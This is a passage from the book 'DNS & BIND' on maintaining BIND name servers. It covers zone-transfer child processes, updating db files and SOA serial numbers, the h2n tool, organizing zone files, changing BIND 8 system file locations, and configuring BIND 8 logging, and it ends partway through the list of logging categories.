A slave name server starts a child process to perform a zone transfer. This allows the slave name server to keep answering queries while the zone data is being transferred from the master server to the local disk by the child process. Once the zone is on the local disk, the slave name server reads in the new data. Using a child process to do the zone transfer fixed a problem with pre-4.8.3 versions of BIND, in which slave name servers wouldn't answer queries during a zone transfer. This could be a real nuisance on name servers that loaded lots of zones or large zones: they'd go silent for long periods of time.

A version 8 primary master name server does not spawn a child process to provide a zone to a slave name server. Instead, the primary master server transfers the zone at the same time it is answering queries. If the primary master server loads a new copy of the zone from a disk file while a zone transfer is in progress, it will abort the zone transfer in progress and load the new zone from the disk file. The slave server will have to attempt the zone transfer again after the primary master has completed loading the new zone.

A version 4 primary master name server starts a child process to provide a zone to a slave name server. This creates extra load on the host running the primary master server, especially if the zones are very large or many zone transfers are active at one time.

If the ps output shows multiple name servers, you should be able to tell easily which name server process is the parent and which processes are children. A child name server started by a slave server to pull a copy of a zone is called named-xfer instead of named:

root  548 547  0 22:03:17 ?     0:00 named-xfer -z movie.edu
      -f /usr/tmp/NsTmp0 -s 0 -P 53 192.249.249.3

A child name server started by a master name server changes its command-line options to indicate which slave server it is providing the zone to:

root 1137 1122 6 22:03:18 ?     0:00 /etc/named -zone XFR
     to [192.249.249.1]

You may encounter a version of named that doesn't change its command line, but you can still figure out the relationship between multiple named processes by examining their process IDs and parent process IDs. All the child processes will have the parent name server's process ID as their parent process ID. This may seem like stating the obvious, but only send signals to the parent name server process. The child processes will go away after the zone transfers complete.

Previous: 6.4 Vendor-Specific Options | DNS & BIND | Next: 7.2 Updating db Files
6.4 Vendor-Specific Options | Book Index | 7.2 Updating db Files


[Chapter 7] 7.2 Updating db Files

DNS & BIND

DNS & BINDSearch this book
Previous: 7.1 BIND Name Server Signals Chapter 7
Maintaining BIND 		Next: 7.3 Organizing Your Files

7.2 Updating db Files

Something is always changing on your network - the new workstations arrive, you finally retire or sell the relic, or you move a host to a different network. Each change means the db files must be modified. Should you make the changes manually? Should you wimp out and use a tool to help you?

First, we'll discuss how to make the changes manually. Then we'll talk about a tool to help out: h2n. Actually, we recommend that you use a tool to create the db files - we were kidding about that wimp stuff, okay? Or, at least use a tool to increment the serial number for you. The syntax of the DNS files lends itself to making mistakes. It doesn't help that the address and pointer records are in different files, which must agree with each other. However, even when you use a tool, it is critical to know what goes on when the files are updated, so we'll start with the manual method.

7.2.1 Adding and Deleting Hosts

After creating your db files initially, it should be fairly apparent what needs to be changed when you add a new host. We'll go through the steps here in case you weren't the one to set up those files, or if you'd just like a checklist to follow. Make these changes to your primary master name server's DNS database files. If you make the change to your slave name server's backup files, the slave's data will change, but the next zone transfer will overwrite it.

  1. Update the serial number in db.DOMAIN. The serial number is likely to be at the top of the file, so it's easy to do first and reduces the chance that you'll forget.

  2. Add any A (address), CNAME (alias), and MX (mail exchanger) records for the host to the db.DOMAIN file. We added the following resource records to the db.movie file when a new host (cujo) was added to our network:

    cujo  IN  A  192.253.253.5  ; cujo's internet address
      IN MX  10 cujo        ; if possible, mail directly to cujo
      IN MX  20 terminator  ; otherwise, deliver to our mail hub

  3. Update the serial number and add PTR records to each db.ADDR file for which the host has an address. cujo only has one address, on network 192.253.253; therefore, we added the following PTR record to the db.192.253.253 file:

    5  IN PTR cujo.movie.edu.

  4. Restart the primary master name server by sending it a HUP signal; this forces it to load the new information:

    # kill -HUP `cat /etc/named.pid`

After it has been restarted, the primary master name server will load the new data. Slave name servers will load this new data sometime within the time interval defined in the SOA record for refreshing their data.

Sometimes your users won't want to wait for the slaves to pick up the new data - they'll want it available right away. (Are you wincing or nodding knowingly as you read this?) Can you force a slave to load the new information right away? With version 8 masters and slaves, the slaves will pick up the new data quickly because the primary master notifies the slave of changes within 15 minutes of the change. If your name server is 4.9 or later, you can send it a HUP signal just as you did for your primary master name server. If your name server is 4.8.3 or earlier, remove all of the slave's backup files (or just the ones you want to force), kill the slave server, and start up a new one. Since the backup files are gone, the slave must immediately pull new copies of the zones.

To delete a host, remove the resource records from the db.DOMAIN and from each db.ADDR file pertaining to that host. Increment the serial number in each file you changed and restart your primary master name server.

7.2.2 SOA Serial Numbers

Each of the DNS database files has a serial number. Every time the data in the db file is changed, the serial number must be incremented. If the serial number is not incremented, slave name servers for the zone will not pick up the updated data. The change is simple. If the original db file had the following SOA record:

movie.edu. IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                                100     ; Serial
                                10800   ; Refresh
                                3600    ; Retry
                                604800  ; Expire
                                86400 ) ; Minimum TTL

the updated db file would have the following SOA record:

movie.edu. IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                                101     ; Serial
                                10800   ; Refresh
                                3600    ; Retry
                                604800  ; Expire
                                86400 ) ; Minimum TTL

This simple change is the key to distributing the data to all of your secondaries. Failing to increment the serial number is the most common mistake made when updating a name server. The first few times you make a change to a DNS database file, you'll remember to update the serial number because this process is new and you are paying close attention. After the db file modifications become second nature, you'll make some "quickie" little change, forget to update the serial number...and none of the slaves will pick up the new data. That's why you should use a tool that updates the serial number for you! Your tool could be h2n or something written locally, but use a tool.

BIND does allow you to use a decimal serial number, like 1.1, but we recommend that you stay with integer values. Here's how BIND version 4 handles decimal serial numbers: if there is a decimal point in the serial number, BIND multiplies the digits to the left of the decimal by 1000. The digits to the right of the decimal point are then concatenated to the digits on the left. Therefore, a number like 1.1 is converted to 10001 internally. 1.10 is converted to 100010. This creates certain anomalies; for example, 1.1 is "greater" than 2, and 1.10 is "greater" than 2.1. Because this is so counterintuitive, it's best to stick with integer serial numbers.

There are several good ways to manage integer serial numbers. The obvious way is just to use a counter: increment the serial number by one each time the file is modified. Another method is to derive the serial number from the date. For example, you could use the eight-digit number formed by YYYYMMDD. Suppose today is January 15, 1997. In this form, your serial number would be 19970115. This scheme only allows one update per day, though, and that may not be enough. Add another two digits to this number to indicate how many times the file has been updated that day. The first number for January 15, 1997, would then be 1997011500. The next modification that day would change the serial number to 1997011501. This scheme allows 100 updates per day. h2n will generate the serial number from the date if you use the -y option. Whatever scheme you choose, the serial number must fit in a 32-bit integer.

7.2.3 Starting Over with a New Serial Number

What do you do if the serial number on one of your zones accidentally becomes very large and you want to change it back to a more reasonable value? There is a way that works with all versions of BIND, and a couple of ways that work with version 4.9 and later.

The way that always works with all versions is to purge your slaves of any knowledge of the old serial number. Then you can start numbering from one (or any convenient point). Here's how. First, change the serial number on your primary master server and restart it; now the primary master server has the new integer serial number. Log onto one of your slave name server hosts and kill the server process with the command kill `cat /etc/named.pid`. Remove its backup copies of the db files (e.g., rm db.movie db.192.249.249 db.192.253.253). Start up your slave name server. Since the backup copies were removed, the slave must load a new version of the DNS database files - picking up the new serial numbers. This process must be repeated for each slave server. If there are any servers not under your control backing up your zones, you'll have to contact their administrators to get them to do the same.

If all of your secondaries are version 4.9 and later, you have two choices, and both involve two steps. One method involves synchronizing the serial number at zero, and the other involves incrementing the serial number by the largest amount possible.

If you set the zone serial number to zero, each 4.9 slave will transfer the zone the next time it checks. Serial number zero is special in that way. In fact, the zone will be transferred every time the slave checks, so don't forget to increment the serial number once all the slaves have synchronized on serial number zero. But there is a limit to how far you can increment the serial number. Read on.

The other method of fixing the serial number (with 4.9 and later slaves) will be easier to understand if we first cover some background material. The DNS serial number is a 32-bit unsigned integer. Its value ranges from 0 to 4,294,967,295. The DNS serial number uses sequence space arithmetic, which means that for any serial number, half of the numbers in the number space (2,147,483,647 numbers) are less than the serial number, and half of the numbers are larger.

Let's go over an example of sequence space numbers. Suppose the serial number is 5. Serial numbers 6 through (5 + 2,147,483,647) are larger than serial number 5. Serial numbers (5 + 2,147,483,649) through 4 are smaller serial numbers. Notice that the serial number wrapped around to 4 after reaching 4,294,967,295. Notice also that we didn't include the number (5 + 2,147,483,648) because this is exactly halfway around the number space, and it could be larger or smaller than 5, depending on the implementation. To be safe, don't use it.

Now back to the original problem. If your zone serial number is 25,000 and you want to start numbering at 1 again, you can speed through the serial number space in two steps. First, add the largest increment possible to your serial number (25,000 + 2,147,483,647 = 2,147,508,647). If the number you come up with is larger than 4,294,967,295 (the largest 32-bit value), you'll have wrap around to the beginning of the number space by subtracting 4,294,967,296 from it. After changing the serial number, you must wait for all of your secondaries to pick up a new copy of the zone. Second, change the zone serial number to its target value (1), which is now larger than the current serial number (2,147,508,647). After the secondaries pick up a new copy of the zone, you're done!

7.2.4 Additional db File Entries

After you've been running a name server for a while, you may want to add data to your name server to help you manage your zone. Have you ever been stumped when someone asked you where one of your hosts is? Maybe you don't even remember what kind of host it is. Administrators have to manage larger and larger populations of hosts these days, making it easy to lose track of this information. The name server can help you out. And if one of your hosts is acting up and someone notices remotely, the name server can help them get in touch with you.

So far in the book, we've covered SOA, NS, A, CNAME, PTR, and MX records. These records are critical to everyday operation - name servers need them to operate, and applications look up data of these types. DNS defines more data types. The next most useful resource record types are TXT and RP; these can be used to tell you the machine's location and responsible person. For a complete list of the resource records, see Appendix A, DNS Message Format and Resource Records.

7.2.4.1 General text information

TXT stands for TeXT. These records are simply a list of strings, each less than 256 characters in length. Versions of BIND prior to 4.8.3 do not support TXT records. In version 4, BIND limits the db file TXT record to a single string of almost 2K of data.

TXT records can be used for anything you want; one use is to list a host's location:

cujo  IN  TXT  "Location: machine room dog house"

BIND version 8 has the same 2K limit, but you can specify the TXT record as multiple strings:

cujo  IN  TXT  "Location:" "machine room dog house"

7.2.4.2 Responsible Person

Domain administrators will undoubtedly develop a love/hate relationship with the Responsible Person, or RP, record. The RP record can be attached to any domain name, internal or leaf, and indicates who is responsible for that host or zone. This will enable you to locate the miscreant responsible for the host peppering you with DNS queries, for example. But it will also lead people to you when one of your hosts acts up.

The record takes two arguments as its record-specific data: an electronic mail address, in domain name format, and a domain name, which points to additional data about the contact. The electronic mail address is in the same format the SOA record uses: it substitutes a "." for the "@". The next argument is a domain name, which must have a TXT record associated with it. The TXT record then contains free-format information about the contact, like full name and phone number. If you omit either field, you must specify the root domain (".") as a placeholder instead.

Here are some example RP (and associated) records:

robocop      IN  RP   root.movie.edu.  hotline.movie.edu.
             IN  RP   richard.movie.edu.  rb.movie.edu.
hotline      IN  TXT  "Movie U. Network Hotline, (415) 555-4111"
rb           IN  TXT  "Richard Boisclair, (415) 555-9612"

Note that TXT records for root.movie.edu and richard.movie.edu aren't necessary, since they're only the domain-name encoding of electronic mail addresses, not real domain names.

This resource record didn't exist when BIND 4.8.3 was implemented, but BIND 4.9 supports it. Check the documentation for your version of the name server to see if it supports RP before trying to use it.

7.2.5 Generating the BIND Database from the Host Tables

As you saw in Chapter 4, Setting Up BIND, we defined a well-structured process for converting host table information to name server information. We've written a tool in Perl to automate this process, called h2n. Using a tool to generate your data has one big advantage: there will be no syntax errors or inconsistencies in your database files - assuming we wrote h2n correctly! One common inconsistency is having an A (address) record for a host, but no corresponding PTR (pointer) record, or the other way around. Because these data are in separate files, it is easy to err.

What does h2n do? Given the /etc/hosts file and some command-line options, h2n creates the db files for your domain. As a system administrator, you keep the host table current. Each time you modify the host table, you run h2n again. h2n rebuilds each db file from scratch, assigning each new file the next higher serial number. It can be run manually, or from a cron script each night. If you use h2n, you'll never need to worry about forgetting to update the serial number.

First, h2n needs to know the name of your domain and your network numbers. These map conveniently into the db filenames: movie.edu data goes in db.movie, and network 192.249.249 data goes into db.192.249.249. The domain name and network number are specified with the -d and -n flags, as follows:

-d domain

The domain name of your zone.

-n network

The network number of your network. If you are generating files for several networks, use several -n options on the command line. Omit trailing zeros from the network numbers.

The h2n command requires the -d flag and at least one -n flag; they have no default values. For example, to create the BIND database for the zone movie.edu, which consists of two networks, give the command:

% h2n -d movie.edu -n 192.249.249 -n 192.253.253

For greater control over the data, you can use other options:

-s server

The servers for the NS records. As with -n, use several -s options if you have multiple primary master or slave servers. A version 8 server will NOTIFY this list of servers when a zone changes. The default is the host on which you run h2n.

-h host

The host for the SOA record. host must be the primary master server to ensure proper operation of the version 8 NOTIFY feature. The default is the host on which you run h2n.

-u user

The mail address of the person in charge of the domain's data. This defaults to root on the host on which you run h2n.

-o other

Other SOA values, not including the serial number, as a colon-separated list. These default to 10800:3600:604800:86400.

-f file

Read the h2n options from the named file, rather than from the command line. If you have lots of options, keep them in a file.

-v 4|8

Generate configuration files for version 4 or version 8. Version 4 is the default.

-y

Generate the serial number from the date.

Here is an example that uses all the options mentioned so far:

% h2n -f opts

Contents of file opts:

-d movie.edu
-n 192.249.249
-n 192.253.253
-s terminator.movie.edu
-s wormhole
-u al
-h terminator
-o 10800:3600:604800:86400
-v 8
-y

If an option requires a host name, you can provide either a full domain name (e.g., terminator.movie.edu), or just the host's name (e.g., terminator). If you give the host name only, h2n will form a complete domain name by adding the domain name given with the -d option. (If a trailing dot is necessary on the name, h2n will add it also.)

There are more options to h2n than we've shown here. For the complete list of options, you'll have to look at the manpage.

Of course, a few kinds of resource records aren't easy to generate from /etc/hosts - the necessary data simply aren't there. You may need to add these records manually. But since h2n always rewrites db files, won't your changes be overwritten?

h2n provides a "back door" for inserting this kind of data. Put these special records in a file named spcl.DOMAIN, where DOMAIN is the domain name of your zone. When h2n finds this file, it will "include" it within the database files by adding the line:

$INCLUDE spcl.DOMAIN

to the end of the db.DOMAIN file. (The $INCLUDE directive is described later in this chapter.) For example, the administrator of movie.edu may add extra MX records into the file spcl.movie so that users can mail to movie.edu directly instead of sending mail to hosts within movie.edu. Upon finding this file, h2n would put the line:

$INCLUDE spcl.movie

at the end of the database file db.movie.

7.2.6 Keeping db.cache Current

As explained in Chapter 4, the db.cache file tells your server where the servers for the "root" zone are. It must be updated periodically. The root name servers do not change very often, but they do change. A good practice is to check your db.cache file every month or two. In Chapter 4, we told you to get the servers by ftping to ftp.rs.internic.net. And that's probably your best method to keep current.

If you have on your system a copy of dig, a utility that works a lot like nslookup and is included in the BIND distribution, you can retrieve the current list of roots just by running:

% dig @a.root-servers.net  .  ns > db.cache

Previous: 7.1 BIND Name Server Signals | DNS & BIND | Next: 7.3 Organizing Your Files
7.1 BIND Name Server Signals | Book Index | 7.3 Organizing Your Files


[Chapter 7] 7.3 Organizing Your Files

DNS & BIND

DNS & BINDSearch this book
Previous: 7.2 Updating db Files Chapter 7
Maintaining BIND 		Next: 7.4 Changing BIND 8 System File Locations

7.3 Organizing Your Files

When you first set up your domain, organizing your files was simple - you put them all in a single directory. There was one configuration file and a handful of db files. Over time, your responsibilities grew. More networks were added. Maybe a few subdomains were started. You started backing up zones for other sites. After a while, an ls of your name server directory no longer fits on a single screen. It's time to reorganize. BIND has a few features that will help with your organization.

The configuration file for a 4.9 or later server can have a control entry, called include, which allows you to insert a new configuration file into the current configuration file. This allows you to take a very large configuration file and break it into smaller pieces. The database files (for all BIND versions) allow two control entries: $ORIGIN and $INCLUDE. $ORIGIN changes the origin, and $INCLUDE inserts a new file into the current file. The database control entries are not resource records; they facilitate the maintenance of DNS data. In particular, these statements make it easier for you to divide your domain into subdomains: they allow you to store the data for each subdomain in a separate database file.

7.3.1 Using Several Directories

One way to organize your db files is to store them in separate directories. If your server is a primary master for several sites (both forward and reverse maps), you could store each site's db files in its own directory. Another division might be to store all the primary master files in one directory and all the slave backup files in a different directory. Let's look at what the version 4 configuration file might look like if you chose the primary/slave division:

directory /usr/local/named
;
; These files are not specific to any zone
;
cache    .                         db.cache
primary  0.0.127.in-addr.arpa      db.127.0.0
;
; These are our primary zone files
;
primary  movie.edu                 primary/db.movie
primary  249.249.192.in-addr.arpa  primary/db.192.249.249
primary  253.253.192.in-addr.arpa  primary/db.192.253.253
;
; These are our slave zone files
;
secondary ora.com                  198.112.208.25 slave/bak.ora
secondary 208.112.198.in-addr.arpa 198.112.208.25 slave/bak.198.112.208

Here's the same configuration file in version 8 format:

options { directory "/usr/local/named"; };
//
// These files are not specific to any zone
//
zone "." {
        type hint;
        file "db.cache";
};
zone "0.0.127.in-addr.arpa" {
        type master;
        file "db.127.0.0";
};
//
// These are our primary zone files
//
zone "movie.edu" {
        type master;
        file "primary/db.movie";
};
zone "249.249.192.in-addr.arpa" {
        type master;
        file "primary/db.192.249.249";
};
zone "253.253.192.in-addr.arpa" {
        type master;
        file "primary/db.192.253.253";
};
//
// These are our slave zone files
//
zone "ora.com" {
        type slave;
        file "slave/bak.ora";
        masters { 198.112.208.25; };
};
zone "208.112.192.in-addr.arpa" {
        type slave;
        file "slave/bak.198.112.208";
        masters { 198.112.208.25; };
};

Another variation on this division is to break the configuration file into three files: the main file, a file that contains all the primary entries, and a file that contains all the secondary entries. Here's what the version 4 main configuration file might look like:

directory /usr/local/named
;
; These files are not specific to any zone
;
cache    .                         db.cache
primary  0.0.127.in-addr.arpa      db.127.0.0
;
include  conffile.primary
include  conffile.slave

Here is conffile.primary (version 4):

;
; These are our primary zone files
;
primary  movie.edu                 primary/db.movie
primary  249.249.192.in-addr.arpa  primary/db.192.249.249
primary  253.253.192.in-addr.arpa  primary/db.192.253.253

Here is conffile.slave (version 4):

;
; These are our slave zone files
;
secondary ora.com                  198.112.208.25 slave/bak.ora
secondary 208.112.198.in-addr.arpa 198.112.208.25 slave/bak.198.112.208

Here are the same files in version 8 format:

options { directory "/usr/local/named"; };
//
// These files are not specific to any zone
//
zone "." {
        type hint;
        file "db.cache";
};
zone "0.0.127.in-addr.arpa" {
        type master;
        file "db.127.0.0";
};
//
include "conffile.primary";
include "conffile.slave";

Here is conffile.primary (version 8):

//
// These are our primary zone files
//
zone "movie.edu" {
        type master;
        file "primary/db.movie";
};
zone "249.249.192.in-addr.arpa" {
        type master;
        file "primary/db.192.249.249";
};
zone "253.253.192.in-addr.arpa" {
        type master;
        file "primary/db.192.253.253";
};

Here is conffile.slave (version 8):

//
// These are our slave zone files
//
zone "ora.com" {
        type slave;
        file "slave/bak.ora";
        masters { 198.112.208.25; };
};
zone "208.112.192.in-addr.arpa" {
        type slave;
        file "slave/bak.198.112.208";
        masters { 198.112.208.25; };
};

You might think the organization would be better if you put the configuration file with the primary entries into the primary subdirectory, add a new directory line to change to this directory, and remove the primary/ from each of the file names, since the server is now in that directory. Then make comparable changes in the configuration file with the secondary lines. But things get rather confused when the name server keeps switching around to different directories - the slave backup files end up in the last directory the name server changed to, and when the name server is sent a HUP signal, it may not be able to find the main configuration file if it is not left in the directory where it started (if the configuration file is specified with a relative path name).

7.3.2 Changing the Origin in a Database File

With BIND, the default origin for the DNS database files is the second field of the primary or secondary statement in the version 4 named.boot file or the second field of the zone statement in the version 8 named.conf file. The origin is a domain name that is appended automatically to all names not ending in a dot. This origin can be changed in the db file with $ORIGIN. In the db file, $ORIGIN is followed by a domain name. (Don't forget the trailing dot if you give the full domain name!) From this point on, all names not ending in a dot have the new origin appended. If your name server (e.g., movie.edu) is responsible for a number of subdomains, you can use the $ORIGIN entry to reset the origin and simplify the files. For example:

$ORIGIN classics.movie.edu.
maltese       IN  A  192.253.253.100
casablanca    IN  A  192.253.253.101

$ORIGIN comedy.movie.edu.
mash          IN  A  192.253.253.200
twins         IN  A  192.253.253.201

We'll cover more on creating subdomains in Chapter 9, Parenting.

7.3.3 Including Other Database Files

Once you've subdivided your domain like this, you might find it more convenient to keep the subdomain records in separate files. The $INCLUDE statement lets you do this:

$ORIGIN classics.movie.edu.
$INCLUDE db.classics

$ORIGIN comedy.movie.edu.
$INCLUDE db.comedy

To simplify the file even further, the new origin can be specified on the $INCLUDE line:

$INCLUDE db.classics classics.movie.edu.
$INCLUDE db.comedy   comedy.movie.edu.

When you specify the origin on the $INCLUDE line, it only applies to the particular file that you're including. For example, the comedy.movie.edu origin only applies to the names in db.comedy. After db.comedy has been included, the origin returns to what it was before $INCLUDE, even if there was an $ORIGIN entry within db.comedy.

Previous: 7.2 Updating db Files | DNS & BIND | Next: 7.4 Changing BIND 8 System File Locations
7.2 Updating db Files | Book Index | 7.4 Changing BIND 8 System File Locations


[Chapter 7] 7.4 Changing BIND 8 System File Locations

DNS & BIND

DNS & BINDSearch this book
Previous: 7.3 Organizing Your Files Chapter 7
Maintaining BIND 		Next: 7.5 BIND 8 Logging

7.4 Changing BIND 8 System File Locations

Version 8 allows you to change the name and location of the following system files: named.pid, named-xfer, named_dump.db, and named.stats. Most of you will not need to use this feature. Don't feel obligated to change the names or locations of these files just because you can change them.

If you do change the default location of the files written by the name server (named.pid, named_dump.db, or named.stats), for security reasons, you should choose a directory that is not world-writable. While we don't know of any break-ins caused by these files, you should follow this guideline just to be safe.

named.pid is usually /etc/named.pid or /var/run/named.pid. One reason you might change the default location of this file is if you find yourself running more than one name server on a single host. (Yikes! Why would someone do that?) Chapter 10, Advanced Features and Security, gives an example of running two name servers on one host. You can specify a different named.pid file in the configuration file for each server:

options { pid-file "server1.pid"; };

named-xfer is usually /etc/named-xfer or /usr/sbin/named-xfer. It's used by a slave server for inbound zone transfers. One reason you might change the default location is to build and test a new version of BIND 8 in a local directory - your local version of named can be configured to use the local version of named-xfer:

options { named-xfer "/home/rudy/named/named-xfer"; };

named_dump.db is left in the name server's current directory (version 8) when the name server dumps its database. Here is an example of to change its location:

options { dump-file "/home/rudy/named/named_dump.db"; };

named.stats is left in the name server's current directory (version 8) when the name server writes its statistics to a file. Here is an example how to change its location:

options { statistics-file "/home/rudy/named/named.stats"; };

Previous: 7.3 Organizing Your Files | DNS & BIND | Next: 7.5 BIND 8 Logging
7.3 Organizing Your Files | Book Index | 7.5 BIND 8 Logging


[Chapter 7] 7.5 BIND 8 Logging

DNS & BIND

DNS & BINDSearch this book
Previous: 7.4 Changing BIND 8 System File Locations Chapter 7
Maintaining BIND 		Next: 7.6 Keeping Everything Running Smoothly

7.5 BIND 8 Logging

BIND 4 had an extensive logging system, writing information to a debug file and sending information to syslog. But, BIND 4 gave you limited control over this logging process - you could turn debugging on to a certain level. That's it. BIND 8 has the same logging system as BIND 4, but BIND 8 gives you control you didn't get with BIND 4.

This control has its cost though - there's a lot to learn before you can be effective configuring this subsystem. If you don't have some time you can spend to experiment with logging, use the defaults and come back to this topic later. Most of you do not need to change the default logging behavior.

Logging has two major topics you need to understand: channels and categories. A channel specifies where the logging data goes: to syslog, to a file, to stderr, or to the bit bucket. A category specifies what data is logged.

Each category of data can be sent to a single channel or to multiple channels. In Figure 7.1, queries are logged to a file, statistics data is logged to a file and logged to syslog.

Figure 7.1: Logging categories to channels

Channels allow you to filter by message severity. Here is the list of severities:

critical
error
warning
notice
info
debug [level]
dynamic

The top five severities (critical, error, warning, notice, and info) are the familiar severity levels used by syslog. The other two (debug and dynamic) are unique to BIND 8.

debug is name server debugging for which you can specify a debug level. If you omit the debug level, then the level is assumed to be one. If you specify a debug level, you will see messages of that level when name server debugging is turned on (i.e., if you specify "debug 3", then you will see level three debugging messages even when you only send one USR1 signal to the name server). If you specify dynamic severity, then the name server will log messages that match its debug level (i.e., if you send one USR1 signal to the name server, it will log messages from level one. If you send three USR1 signals to the name server, it will log messages from levels one through three.) The default severity is info, which means you won't see debug messages unless you specify the severity.

NOTE: You can configure a channel to log both debug messages and syslog messages to a file. However the converse is not true - you cannot configure a channel to log both debug messages and syslog messages with syslog - only syslog messages can be sent to syslog.

Let's configure a couple of channels to show you how this works. The first channel will go to syslog and will log with facility daemon, sending those messages of severity info and above. The second channel will go to a file, logging debug messages at any level as well as syslog messages. Here is the logging statement for the BIND 8 configuration file:

logging {
  channel my_syslog {
     syslog daemon;
     // Debug messages will not be sent to syslog, so
     // there is no point to setting the severity to
     // debug or dynamic; use the lowest syslog level: info.
     severity info;
  };
  channel my_file {
     file "log.msgs";
     // Set the severity to dynamic to see all the debug messages.
     severity dynamic;
  };
};

Now that we've configured a couple of channels, we have to tell the name server exactly what to send to those channels. Let's implement what was pictured in Figure 7.1 with statistics going to syslog and to the file, and queries going to the file. The category specification is part of the logging statement, so we'll build on the previous logging statement:

logging {
  channel my_syslog {
     syslog daemon;
     severity info;
  };
  channel my_file {
     file "log.msgs";
     severity dynamic;
  };

  category statistics { my_syslog; my_file; };
  category queries { my_file; };
};

With this logging statement in your configuration file, start your name server and send it a few queries. But nothing is written to log.msgs! (Well, if you wait long enough, the name server's statistics will show up in log.msgs.) You had expected those queries to be logged. Alas, you have to turn on name server debugging to get queries logged:

# kill -USR1 `cat /etc/named.pid`

Now send your name server some queries and they are logged in log.msgs. But look around: there's a new file called named.run. It has all the other debugging information written to it. You didn't want all this other debugging, though; you just wanted the statistics and queries. How do you get rid of named.run?

There's a special category we haven't told you about: default. If you don't specify any channels for a category, the default category is used. Let's change the default category to discard all logging messages (there's a channel called null for this purpose):

logging {
  channel my_syslog {
     syslog daemon;
     severity info;
  };
  channel my_file {
     file "log.msgs";
     severity dynamic;
  };

  category default { null; };
  category statistics { my_syslog; my_file; };
  category queries { my_file; };
};

Now, start your server, turn on debugging to level one, and send some queries. The queries end up in log.msgs and named.run was created but the file is empty. Great! We're getting the hang of this after all.

A few days pass. One of your co-workers notices that the name server is sending many fewer messages to syslog than it used to. In fact, the only syslog messages are statistics messages. The ones your co-worker watched, the zone transfer messages, are gone. What happened?

Well, the default category is set up, by default, to send messages to both syslog and to the debug file (named.run). When the default category was configured to the null channel, the other syslog messages were turned off. Here's what we should have used:

category default { my_syslog; };

This sends the syslog messages to syslog, but does not write debug or syslog messages to a file.

Remember, we said you'd have to experiment for a while with logging to get exactly what you want. We hope this example gives you a clue what you might run into. Now, let's go over the details of logging.

7.5.1 The Logging Statement

Here's the syntax of the logging statement. It's rather intimidating. We'll go over some more examples as we explain what each clause means:

logging {
  [ channel channel_name {
    ( file path_name
       [ versions ( number | unlimited ) ]
       [ size size_spec ]
     | syslog ( kern | user | mail | daemon | auth | syslog | lpr |
                news | uucp | cron | authpriv | ftp |
                local0 | local1 | local2 | local3 |
                local4 | local5 | local6 | local7 )
     | null );

    [ severity ( critical | error | warning | notice |
                 info  | debug [ level ] | dynamic ); ]
    [ print-category yes_or_no; ]
    [ print-severity yes_or_no; ]
    [ print-time yes_or_no; ]
  }; ]

  [ category category_name {
    channel_name; [ channel_name; ... ]
  }; ]
  ...
};

Here are the default channels. The name server will make these channels even if you do not want them. You cannot redefine these channels. You can only add more channels:

channel default_syslog {
    syslog daemon;        // send to syslog's daemon facility
    severity info;        // only send priority info and higher
};

channel default_debug {
    file "named.run";     // write to named.run in the
                          // working directory
    severity dynamic;     // log at the server's current debug level
};

channel default_stderr {  // writes to stderr
    file "<stderr>";      // this is illustrative only;
                          // there's currently no way of
                          // specifying an internal file
                          // descriptor in the configuration language.
    severity info;        // only send priority info and higher
};

channel null {
    null;                 // toss anything sent to this channel
};

If you do not assign channels to the categories default, panic, packet, and eventlib, the name server will assign these channels by default:

logging {
    category default { default_syslog; default_debug; };
    category panic { default_syslog; default_stderr; };
    category packet { default_debug; };
    category eventlib { default_debug; };
};

As we mentioned earlier, the default category logs to both syslog and to the debug file (which by default is named.run). This means that all syslog messages of severity info and above are sent to syslog, and when debugging is turned on, the syslog messages and debug messages are written to named.run. This more or less matches the BIND 4 behavior.

7.5.2 Channel Details

A channel may be defined to go to a file, to syslog, or to null.

7.5.2.1 File channels

If a channel goes to a file, you must specify the file's path name. Optionally, you can specify how many versions of the file can exist at one time and how big the file may grow.

If you specify that there can be three versions, BIND 8 will keep around file, file.0, file.1, and file.2. After the name server starts or after it is restarted by a HUP signal, it will move file.1 to file.2, file.0 to file.1, file to file.0, and start a new copy of file. If you specify unlimited versions, BIND 8.1.2 will keep 99 versions.

If you specify a maximum file size, BIND 8 will stop writing to the file after it reaches the specified size. Unlike the versions clause (mentioned in the last paragraph), the file will not be rolled over and a new file opened when the specified size is reached. The name server just stops writing to the file. If you do not specify a file size, the file will grow indefinitely.

Here is an example file channel using the versions and size clauses:

logging{
  channel my_file {
     file "log.msgs" versions 3 size 10k;
     severity dynamic;
  };
};

The size can include a scaling factor as in the example. K or k is kilobytes. M or m is megabytes. G or g is gigabytes.

It's important to specify the severity as either debug or dynamic if you want to see debug messages. The default severity is info, which will only show you syslog messages.

7.5.2.2 Syslog channels

If a channel goes to syslog, you can specify the facility to be any of the following: kern, user, mail, daemon, auth, syslog, lpr, news, uucp, cron, authpriv, ftp, local0, local1, local2, local3, local4, local5, local6, local7. The default is daemon. We recommend that you use the default.

Here's an example syslog channel using the facility local0 instead of daemon:

logging {
    channel my_syslog {
        syslog local0;        // send to syslog's local0 facility
        severity info;        // only send priority info and higher
    };
};

7.5.2.3 Null channel

There is a predefined channel called null for those messages you want to throw away.

7.5.2.4 Stderr channel

There is a predefined channel called default_stderr for any messages you'd like written to the stderr file descriptor of the name server. You cannot configure any other file descriptors.

7.5.2.5 Data formatting for all channels

The BIND 8 logging facility also allows you some control over the formatting of messages. You can add to the messages: a time stamp, the category, or the severity.

Here's an example debug message that has all the extra goodies:

01-Feb-1998 13:19:18.889 config: debug 1: source = db.127.0.0

The category for this message is config and the severity is debug level one.

Here's an example channel configuration that includes all three additions:

logging {
  channel my_file {
     file "log.msgs";
     severity debug;
     print-category yes;
     print-severity yes;
     print-time yes;
  };
};

There is not much point in adding the time stamp for messages to a syslog channel since syslog adds the time and date itself.

7.5.3 Category Details

There are lots of categories - lots! We'll list them here so you can see them all. Rather than trying to figure out which you want to see, we recommend that you configure your name server to print out all of its log messages, with their category and severity, and then pick out the ones you want to see. We'll show you how to do this after telling you about the categories:

default

If you don't specify any channels for a category, the default category is used instead. In that sense, default is synonymous with all categories. However, there are some messages that didn't end up in a category. So, even if you specify channels for each category individually, you'll still want to specify a channel for the default category for all the uncategorized messages.

If you do not specify a channel for the default category, one will be specified for you:

        category default { default_syslog; default_debug; };
cname

CNAME errors (e.g., "... has CNAME and other data")

config

Configuration file processing

db

Database operations

eventlib

System events; must point to a file channel

insist

Internal consistency check failures

lame-servers

Detection of bad delegation

load

Zone loading messages

maintenance

Maintenance events (e.g., system queries)

ncache

Negative caching events

notify

Asynchronous change notifications

os

Problems with the operating system

packet

